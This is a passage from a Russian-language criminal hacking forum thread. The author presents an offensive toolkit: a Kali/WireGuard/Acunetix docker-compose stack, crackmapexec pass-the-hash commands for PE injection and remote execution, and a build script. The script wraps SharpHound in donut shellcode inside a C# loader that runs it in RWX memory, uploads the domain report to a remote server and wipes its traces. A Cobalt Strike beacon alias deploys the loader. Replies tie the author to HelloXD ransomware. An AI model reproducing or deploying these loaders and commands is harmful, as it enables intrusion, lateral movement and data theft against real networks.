echo "proxychains  crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -M pe_inject -o PATH=$INPUT" > /tmp/.crackmapexeccmd
elif test "$METH" = "execute" ; then
echo "proxychains  crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -x "$EXECMD"" > /tmp/.crackmapexeccmd
fi

chmod +x /tmp/.crackmapexeccmd ; xfce4-terminal --fullscreen --hide-menubar --hide-toolbar --hide-scrollbar -e 'sudo /tmp/.crackmapexeccmd' --hold

## 4.аКомпот?!

Забыл самое главное: сборка всего с помощью docker-compose. В папке /localhost на хосте есть одноименный файл, который выглядит примерно следующим образом:

C-подобный:
version: "3.7"
services:

  wireguard:
    image: jordanpotter/wireguard
    container_name: wireguard
    restart: unless-stopped
    networks:
      - backbone
    volumes:
      - '/etc/wireguard/socks/wg.conf:/etc/wireguard/mullvad.conf'
      - '/lib/modules:/lib/modules'
    cap_add:
      - NET_ADMIN
      - SYS_MODULE
    sysctls:
      - net.ipv4.conf.all.src_valid_mark=1
      - net.ipv4.ip_forward=1

  suos:
    depends_on:
      - wireguard
    image: kali_suos
    container_name: suos
    restart: unless-stopped
    network_mode: service:wireguard
    cap_add:
      - NET_ADMIN
    volumes:
      - '/opt/kali_suos/root:/root'
      - '/var/run/docker.sock:/var/run/docker.sock'
    command: bash /entrypoint.sh
    environment:
      - HOSTNAME=$HOSTNAME

  acun:
    depends_on:
      - wireguard
    image: 0x4k/acunetix
    container_name: acun
    restart: unless-stopped
    network_mode: service:wireguard
    command: bash /start.sh

networks:
  backbone:
    driver: bridge

А так же файл up.sh
Bash:
#!/bin/bash
cd /localhost ; docker commit suos kali_suos
export HOSTNAME="$(hostname)" ;  docker-compose down --remove-orphans
docker-compose  up -d --force-recreate --remove-orphans


Как несложно догадаться - компот - acunetix. Файл up.sh сохранит контейнер в его нынешнем состоянии и пересоздаст заново остальноые (пересоздаст контейнеры - не значит перестроит, имейте ввиду))))
Компот - клиент, для работы с графической оболочкой и приятными бонусами, в виде мультиплатформенности и значка-запуска в трее. Это electron-приложение, которое так же придаст слой "лука" нашей с Вами безопасности, да и к тому же жутко удобное в использовании. Компилируется на хосте командой makeclients, после чего выдает вам ссылку но загрузку версий под Windows и Linux. Да и вообще, я постарался сделать установщик максимально простым и информативным... Понравилось, только честно?)

Прочитать на белом фоне (а самые внимательные уже давно прочитали и установили, ведь все это "висело" у меня в подписи) можно по адресу: https://x4k.tools XD


Обновление: 29 июля

Итак, как я и обещал - годная статья - выкладываю патч XD. Давайте на эту же тему) Итак:

V2.1 - BloodHound

БладХаунд - легендарная собака, многие хотели, но не смогли.



BloodHound
Если сказать проще - позволяет без боли, унижений, а главное кучи потраченного времени на ковыряние сети получить "Главный Приз". Итак, основная его действующая часть, которая инициализируется до запуска клиента кс.

Bash:
#!/bin/bash

rndname="$(curl -s https://gitlab.com/x4k/pub/-/raw/master/names.txt | shuf -n1)"
rm -r /opt/cobaltstrike/custom/sweet/output &> /dev/null ; mkdir /opt/cobaltstrike/custom/sweet/output
wget -qO /tmp/SharpHound.exe https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe
donut -a2 -z2 -i/tmp/SharpHound.exe -p"--NoSaveCache --ZipFilename report --CollectionMethod All" -o /tmp/loader.bin
XBYTES="$(xxd -i /tmp/loader.bin | tail -n1 | cut -d'=' -f2 | head -c-2 | sed 's+ ++g')"

cat<<EOF>/opt/cobaltstrike/custom/sweet/output/$rndname.cs
using System;
using System.IO;
using System.Linq;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;

namespace ShellcodeLoader
{
class Program
{
static void Main(string[] args)
{
byte[] x64shellcode = new byte[$XBYTES] {
EOF

xxd -i /tmp/loader.bin | tail -n+2 | head -n-1 >> /opt/cobaltstrike/custom/sweet/output/$rndname.cs

cat<<'EOF'>>/opt/cobaltstrike/custom/sweet/output/$rndname.cs
IntPtr funcAddr = VirtualAlloc(
IntPtr.Zero,
(ulong)x64shellcode.Length,
(uint)StateEnum.MEM_COMMIT,
(uint)Protection.PAGE_EXECUTE_READWRITE);
Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length);

IntPtr hThread = IntPtr.Zero;
uint threadId = 0;
IntPtr pinfo = IntPtr.Zero;

hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);

for (int i = 1; i <= 5; i++) {
Console.WriteLine("Thread paused for {0} second", 5); Thread.Sleep(1000); Console.WriteLine("i value: {0}", i);
}

string tpath = @"C:\ProgramData\mydata" ; var directory = new DirectoryInfo(tpath); string endfile = @"C:\ProgramData\mydata\report.zip";
var myFile = (from f in directory.GetFiles("*.zip") orderby f.LastWriteTime descending select f).First();
string mile = "" + myFile; File.Move(mile, endfile);

System.Net.WebClient Client = new System.Net.WebClient(); Client.Headers.Add("Content-Type", "binary/octet-stream");
string ServerIp = @"http://zxlab.io:899/upload?token=f9403fc5f537b4ab332a";

if (File.Exists(endfile)) {
var result = Client.UploadFile(ServerIp, "POST", endfile); Console.WriteLine("Upload complete! Enjoy XD"); File.Delete(endfile);
} else {
Console.WriteLine("ERROR! CANNOT DETERMINE USERS DOMAIN OR CANNOT CONECT TO LDAP!"); return;
}

Process abominable = new Process(); abominable.StartInfo.FileName = "cmd.exe";
abominable.StartInfo.Arguments = @"/c timeout 10 && rd /q /s C:\ProgramData\mydata";
abominable.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; abominable.Start();

return;
}

[DllImport("kernel32.dll")]
private static extern IntPtr VirtualAlloc(
IntPtr lpStartAddr,
ulong size,
uint flAllocationType,
uint flProtect);

[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(
uint lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr param,
uint dwCreationFlags,
ref uint lpThreadId);

[DllImport("kernel32.dll")]
private static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds);

public enum StateEnum
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000,
MEM_FREE = 0x10000
}

public enum Protection
{
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
}
}
}
EOF

sed -i "s+zxlab.io+$HOSTNAME+g" /opt/cobaltstrike/custom/sweet/output/$rndname.cs
mcs -platform:x64 -t:winexe /opt/cobaltstrike/custom/sweet/output/$rndname.cs -out:/opt/cobaltstrike/custom/sweet/output/$rndname.exe
cp /opt/cobaltstrike/custom/sweet/sweet.bak /opt/cobaltstrike/custom/sweet/sweet.cna ; sed -i "s+Bloodhound+$rndname+g" /opt/cobaltstrike/custom/sweet/sweet.cna

И простейший алиас запуска в терминале бикона:


Java:
alias easyblood {
brm($1, "C:\\ProgramData\\mydata");
bmkdir($1, "C:\\ProgramData\\mydata");
bcd($1, "C:\\ProgramData\\mydata");
bexecute_assembly($1, "custom/sweet/output/Bloodhound.exe");
}

/usr/local/bin/cobalstrike был изменен таким образом:

Bash:
#!/bin/bash
export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/
sudo /opt/cobaltstrike/custom/sweet/makeblood.sh && sleep 2 | zenity --window-icon="/usr/share/icons/Papirus/128x128/apps/clamav.svg" --progress --auto-kill \
--auto-close --text='D0nt w0rry. Do b4d th1ngs..' --pulsate --title="_unkn0wn:::CobaltStrike" --no-cancel --width="300"
cd /opt/cobaltstrike
xhost +
./start.sh

Теперь, все, что Вам необходимо сделать: получить АдминАккаунт и выполнить в консоли бикона easyblood. Имейте ввиду, что собака работает только в контексте домена

Помимо >@ изменению подверглись многие аспекты "скрипта", увидеть полный и подробный список которых Вы можете в последнем коммите. XD


Очень хочется отметить, что все это протестировано, опробовано и заснято на видео, которое я покажу немного позже ;-) Конкурс (и мой тоже) продолжается ;-)

https://github.com/l4ckyguy/ukn0w/commit/0823f51d01790ef53aa9406f99b6a75dfff7f146?branch=0823f51d01790ef53aa9406f99b6a75dfff7f146&diff=unified
FileBrowser
what is the linux distro ?
 
Nuclei очень классный софт, как и почти весь софт projectdiscovery, очень советую.
Только он через один сокс без ротации может работать и proxychains у меня не получилось завести с ним
 
Пожалуйста, обратите внимание, что пользователь заблокирован
вы не читали дианон автора?)) у него хард айпи для бэкдора привязан был в его локере HelloXD
Ого, скинь ссылку, никогда не поверю, что Ваньку Топора сдеанонели, пока не увижу, он элито же был тут до тех пор, когда его за кидок негрилки забанели.
 
вы не читали дианон автора?)) у него хард айпи для бэкдора привязан был в его локере HelloXD
А в самом этом вот скрипте с конкурса не вкурсе все чисто ?
 
Ого, скинь ссылку, никогда не поверю, что Ваньку Топора сдеанонели, пока не увижу, он элито же был тут до тех пор, когда его за кидок негрилки забанели.
Он наверное эту статью и понял под "деаноном", но ты ее 99% сам читал: https://unit42.paloaltonetworks.com/helloxd-ransomware/
 
Пожалуйста, обратите внимание, что пользователь заблокирован
но ты ее 99% сам читал
Не, я не читал до этого, спасибо! Но особо ничего интересного в статье нет, кроме некоторых отсылок к бабуку.
 
Пожалуйста, обратите внимание, что пользователь заблокирован


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх